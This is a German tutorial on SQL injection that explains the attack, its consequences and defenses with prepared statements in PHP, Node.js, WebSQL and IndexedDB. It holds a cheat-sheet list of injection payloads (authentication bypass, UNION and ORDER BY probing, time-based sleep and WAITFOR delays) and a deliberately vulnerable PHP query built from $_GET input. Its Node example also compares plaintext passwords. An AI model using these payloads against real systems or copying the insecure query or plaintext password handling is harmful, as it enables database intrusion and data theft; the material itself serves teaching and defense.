🔑 SQL-Injections - Ein elementares Problem
Gefährlich
SQL-Injection (SQLi) ist eine der häufigsten und gefährlichsten Sicherheitslücken, die in Webanwendungen auftreten können. Sie tritt auf, wenn ein Angreifer unzureichend geprüfte Eingaben direkt in eine SQL-Datenbankabfrage einspeisen kann, um die Struktur der Abfrage zu verändern. Dies ermöglicht es dem Angreifer, die Kontrolle über die Datenbank zu übernehmen, vertrauliche Daten abzurufen oder die Datenbank zu manipulieren.
Wie funktioniert eine SQL-Injection?
Eine SQL-Injection tritt auf, wenn Benutzer-Inputs (z. B. aus einem Formularfeld) in eine SQL-Abfrage eingefügt werden, ohne ordnungsgemäß bereinigt oder parametrisiert zu werden. Der Angreifer kann speziellen SQL-Code als Eingabe in ein Feld einfügen, der dann von der Datenbank “missverstanden” wird und die beabsichtigte Abfrage verändert.
Beispiel:
Angenommen, du hast eine SQL-Abfrage, die nach einem Benutzernamen in einer Datenbank sucht:
SELECT * FROM users WHERE username = 'Benutzername';
Wenn der Benutzer den Namen “admin
” eingibt, funktioniert die Abfrage wie erwartet:
SELECT * FROM users WHERE username = 'admin';
Aber bei einer SQL-Injection könnte der Angreifer Folgendes eingeben:
admin' --
Die resultierende SQL-Abfrage sieht nun so aus:
SELECT * FROM users WHERE username = 'admin' -- ';
Das --
in SQL wird als Kommentar betrachtet, wodurch der Rest der Abfrage ignoriert wird. Diese Änderung könnte den Angreifer in das System einloggen, ohne ein Passwort zu benötigen.
Verbreitete SQL Injection Payloads
'
''
`
``
,
"
""
/
//
\
\\
;
' or "
-- or #
' OR '1
' OR 1 -- -
" OR "" = "
" OR 1 = 1 -- -
' OR '' = '
'='
'LIKE'
'=0--+
OR 1=1
' OR 'x'='x
' AND id IS NULL; --
'''''''''''''UNION SELECT '2
%00
/*…*/
+ addition, concatenate (or space in url)
|| (double pipe) concatenate
% wildcard attribute indicator
@variable local variable
@@variable global variable
# Numeric
AND 1
AND 0
AND true
AND false
1-false
1-true
1*56
-2
1' ORDER BY 1--+
1' ORDER BY 2--+
1' ORDER BY 3--+
1' ORDER BY 1,2--+
1' ORDER BY 1,2,3--+
1' GROUP BY 1,2,--+
1' GROUP BY 1,2,3--+
' GROUP BY columnnames having 1=1 --
-1' UNION SELECT 1,2,3--+
' UNION SELECT sum(columnname ) from tablename --
-1 UNION SELECT 1 INTO @,@
-1 UNION SELECT 1 INTO @,@,@
1 AND (SELECT * FROM Users) = 1
' AND MID(VERSION(),1,1) = '5';
' and 1 in (select min(name) from sysobjects where xtype = 'U' and name > '.') --
Finding the table name
Time-Based:
,(select * from (select(sleep(10)))a)
%2c(select%20*%20from%20(select(sleep(10)))a)
';WAITFOR DELAY '0:0:30'--
Comments:
# Hash comment
/* C-style comment
-- - SQL comment
;%00 Nullbyte
` Backtick
Mögliche Folgen einer SQL-Injection:
- Datenabgriff: Angreifer können vertrauliche Daten wie Benutzernamen, Passwörter, Kreditkarteninformationen abrufen.
- Manipulation von Daten: Angreifer können vorhandene Daten ändern, löschen oder neue Daten hinzufügen.
- Komplette Datenbankkontrolle: In schwerwiegenden Fällen kann der Angreifer die gesamte Datenbank kompromittieren und sogar auf das zugrundeliegende System zugreifen.
Wie schützt man sich vor SQL-Injection?
- Verwende vorbereitete Statements und Parameterbindung: Dies stellt sicher, dass Benutzereingaben nicht als Teil der SQL-Abfrage interpretiert werden.
- Beispiel mit PHP und PDO:
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?"); $stmt->execute([$username]);
- Beispiel mit PHP und PDO:
-
Eingabevalidierung und -bereinigung: Überprüfe und bereinige alle Benutzereingaben, bevor sie in eine SQL-Abfrage aufgenommen werden.
-
Verwende ORM-Systeme: Object-Relational Mapping (ORM) Frameworks wie Hibernate oder Sequelize abstrahieren SQL-Abfragen und können SQL-Injection verhindern.
-
Verwende minimal notwendige Datenbankrechte: Gib deinen Anwendungen nur die minimalen Datenbankrechte, die sie benötigen, um die Auswirkungen eines erfolgreichen Angriffs zu begrenzen.
- Aktualisiere regelmäßig Software und Datenbankmanagementsysteme: Viele SQL-Injection-Schwachstellen entstehen durch veraltete Software. Halte deine Systeme auf dem neuesten Stand.
SQL-Handling in NodeJS
Hier ist der Quellcode für eine NodeJS-Applikation, bei der über SQL-Handling verhindert wird, dass SQL-Injections die Datenbank erreichen:
// Backend in Node.js mit Express und einer MySQL-Datenbank
const express = require('express');
const mysql = require('mysql2');
const app = express();
// Verbindung zur Datenbank herstellen
const db = mysql.createConnection({
host: 'localhost',
user: 'root',
password: '',
database: 'testdb'
});
// Middleware zum Verarbeiten von JSON-Daten
app.use(express.json());
// Route für den Login
app.post('/api/login', (req, res) => {
const { username, password } = req.body;
// Verwende vorbereitete Statements, um SQL-Injection zu verhindern
const query = "SELECT * FROM users WHERE username = ? AND password = ?";
// Verwende Parameter, um Benutzereingaben sicher zu verarbeiten
db.execute(query, [username, password], (err, results) => {
if (err) {
return res.status(500).send('Fehler in der Datenbankabfrage');
}
if (results.length > 0) {
res.status(200).send('Login erfolgreich');
} else {
res.status(401).send('Ungültige Anmeldedaten');
}
});
});
// Server starten
app.listen(3000, () => {
console.log('Server läuft auf http://localhost:3000');
});
Wie verschafft sich ein Hacker Zugriff zu einer SQL-Abfrage? Der Client schirmt die SQL-Logik doch ab?
Das ist eine sehr gute Frage! Es stimmt, dass der Client (z. B. der Browser) in den meisten Webanwendungen keinen direkten Zugriff auf die SQL-Datenbank hat. Stattdessen erfolgt die Kommunikation über eine serverseitige Anwendung, die Anfragen vom Client entgegennimmt, SQL-Abfragen an die Datenbank sendet und das Ergebnis an den Client zurückgibt. SQL-Injection passiert also nicht direkt auf der Client-Seite, sondern über die Schnittstellen zwischen dem Client und der Datenbank, welche die serverseitige Anwendung bereitstellt.
Hier ist der Ablauf, wie ein Hacker durch SQL-Injection Zugriff auf SQL-Abfragen bekommt, trotz der “Abschirmung” durch die Anwendung:
1. Eingabe von Benutzerdaten
Webanwendungen nehmen oft Benutzereingaben entgegen, sei es durch Formulare, Suchfelder oder URL-Parameter. Diese Eingaben werden an den Server gesendet, um dann in SQL-Abfragen eingebunden zu werden.
2. Fehlerhafte Verarbeitung der Eingaben auf Serverseite
Wenn die Anwendung diese Benutzereingaben nicht korrekt validiert oder bereinigt, können sie direkt in eine SQL-Abfrage eingefügt werden. Angreifer nutzen diesen Moment aus, indem sie speziellen SQL-Code in die Eingabefelder oder URL-Parameter einfügen.
Beispiel einer unsicheren Abfrage:
$query = "SELECT * FROM users WHERE username = '" . $_GET['username'] . "' AND password = '" . $_GET['password'] . "'";
Hier wird die Benutzereingabe direkt in die SQL-Abfrage eingebaut, ohne überprüft zu werden. Ein Angreifer könnte eine manipulative Eingabe wie admin' OR '1'='1
verwenden.
3. SQL-Abfrage wird modifiziert
Wenn der Angreifer bösartigen SQL-Code in die Eingabefelder einfügt, modifiziert dieser Code die beabsichtigte SQL-Abfrage. Im obigen Beispiel könnte die SQL-Abfrage nach dem Einfügen dieser Eingabe so aussehen:
SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = '';
Das OR '1'='1'
ist immer wahr, sodass die Datenbank alle Benutzer zurückgeben könnte – oder den Angreifer einloggt, selbst ohne korrekte Anmeldedaten.
4. SQL-Abfrage wird an die Datenbank gesendet
Da der SQL-Code von der Datenbank “blind” ausgeführt wird, kann der Angreifer durch diese manipulierte SQL-Abfrage möglicherweise vertrauliche Daten extrahieren oder auf andere Weise die Kontrolle über die Datenbank erlangen. Der Server sendet die Abfrage an die Datenbank, und diese führt sie aus, als wäre sie eine reguläre Anfrage.
Wichtig: Der Client (z. B. der Browser) sieht die SQL-Logik nicht direkt. Aber der Server führt die SQL-Abfrage aus und gibt das Ergebnis zurück, das dann an den Client geschickt wird. Der Angreifer verändert also indirekt die SQL-Abfrage, indem er die Benutzereingabe manipuliert.
5. Ergebnisse werden an den Client zurückgegeben
Sobald die Datenbank die manipulierte Abfrage verarbeitet, kann der Angreifer z. B. vertrauliche Daten erhalten, Admin-Rechte erlangen oder sogar die gesamte Datenbankstruktur verändern – abhängig davon, wie gravierend die Sicherheitslücke ist.
Warum kann der Client SQL-Abfragen indirekt beeinflussen?
-
Dynamische Abfragen: Oft werden SQL-Abfragen dynamisch aus Benutzereingaben zusammengestellt. Wenn diese Eingaben nicht richtig “bereinigt” (also nicht überprüft oder gefiltert) werden, kann der Angreifer Code einschleusen, der dann Teil der SQL-Abfrage wird.
-
Fehlende Sicherheitsvorkehrungen: Entwickler, die keine vorbereiteten Statements oder parametrisierte Abfragen verwenden, setzen ihre Anwendungen einem höheren Risiko aus. Wenn die Benutzereingabe direkt in eine SQL-Abfrage eingebunden wird, kann sie die Logik der Abfrage manipulieren.
Schutzmaßnahmen gegen SQL-Injection
-
Vorbereitete Statements und Parameterbindung: Durch den Einsatz von vorbereiteten Statements (prepared statements) wird sichergestellt, dass Benutzereingaben immer als Daten und nicht als Teil des SQL-Codes interpretiert werden.
Beispiel in PHP:
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username AND password = :password"); $stmt->execute(['username' => $username, 'password' => $password]);
-
Eingabevalidierung: Alle Benutzereingaben sollten validiert werden, um sicherzustellen, dass sie die erwarteten Werte enthalten (z. B. keine SQL-Befehle).
-
Eingabesanitisierung: Bereinige Benutzereingaben, bevor du sie in eine SQL-Abfrage einfügst. Entferne oder entschärfe schädliche Zeichen, um potenziellen Schadcode zu verhindern.
-
Minimal notwendige Rechte: Gib der Anwendung nur so viel Zugriffsrechte auf die Datenbank, wie unbedingt nötig. So kannst du das Schadenspotenzial eines Angriffs minimieren.
-
Vermeide dynamische SQL-Abfragen: Setze so oft wie möglich auf parametrisierte Abfragen statt auf dynamische SQL-Abfragen, bei denen Benutzerinputs direkt in die Abfrage integriert werden.
Können Prepared-Statements auch client-seitig angewendet werden?
Prepared Statements werden in der Regel auf der Server-Seite angewendet, insbesondere in serverseitigen Programmiersprachen wie PHP, Java, Python usw., um SQL-Injection-Angriffe zu verhindern. Der Grund dafür ist, dass der Client keinen direkten Zugriff auf die Datenbank hat. Die Kommunikation zwischen Client und Datenbank erfolgt durch eine serverseitige Anwendung.
Auf der Client-Seite (im Browser) kann man keine SQL-Abfragen direkt auf eine Datenbank ausführen, und daher gibt es auch keine Verwendung von Prepared Statements im klassischen SQL-Sinn. In client-seitigen Umgebungen wie JavaScript, die im Browser ausgeführt werden, ist es nicht üblich, auf SQL-Datenbanken zuzugreifen. Stattdessen werden Daten über HTTP-Anfragen an APIs gesendet, die dann auf der Server-Seite verarbeitet werden.
Ausnahme: Client-seitige Datenbanken (z. B. IndexedDB in Webbrowsern)
Es gibt jedoch Datenbanken, die auf der Client-Seite im Browser laufen, wie IndexedDB oder WebSQL (wobei WebSQL inzwischen veraltet ist und nicht mehr unterstützt wird). In solchen Fällen kann man ähnliche Mechanismen wie Prepared Statements nutzen, um sicherzustellen, dass Eingaben korrekt verarbeitet werden.
Beispiel: Prepared Statements in WebSQL (veraltet)
WebSQL erlaubt SQL-Abfragen direkt im Browser, allerdings wurde es mittlerweile als veraltet eingestuft. Es gibt dennoch die Möglichkeit, Parametrisierungen durchzuführen, was der Funktionsweise von Prepared Statements ähnelt.
var db = openDatabase('mydb', '1.0', 'Test DB', 2 * 1024 * 1024);
var userInput = 'admin'; // Dies ist ein Beispiel für Benutzereingabe
db.transaction(function (tx) {
tx.executeSql('SELECT * FROM users WHERE username = ?', [userInput], function (tx, results) {
console.log("Ergebnis: ", results.rows.length);
});
});
In diesem Beispiel verwendet WebSQL das Fragezeichen (?
) als Platzhalter, der durch den Benutzerinput ersetzt wird. Dies ist vergleichbar mit Prepared Statements, da der Benutzerinput nicht als SQL-Code interpretiert wird, sondern nur als Daten.
Beispiel: IndexedDB (moderne, client-seitige Datenbank im Browser)
IndexedDB ist ein client-seitiger Speicher, der in modernen Browsern verwendet wird, und bietet keine SQL-Syntax. Allerdings folgt es ähnlichen Sicherheitsprinzipien wie Prepared Statements, da Benutzereingaben nicht direkt mit SQL-Anweisungen verbunden sind.
var request = indexedDB.open("myDatabase", 1);
request.onsuccess = function(event) {
var db = event.target.result;
var transaction = db.transaction(["users"], "readonly");
var objectStore = transaction.objectStore("users");
// Beispiel für eine Abfrage nach einem Benutzernamen
var userInput = "admin"; // Dies ist ein Beispiel für Benutzereingabe
var request = objectStore.get(userInput);
request.onsuccess = function(event) {
if (request.result) {
console.log("Benutzer gefunden: ", request.result);
} else {
console.log("Benutzer nicht gefunden");
}
};
};
Hierbei gibt es keine direkte SQL-Abfrage, aber die Eingabe des Benutzers wird sicher verarbeitet, ohne die Struktur einer Abfrage zu beeinflussen.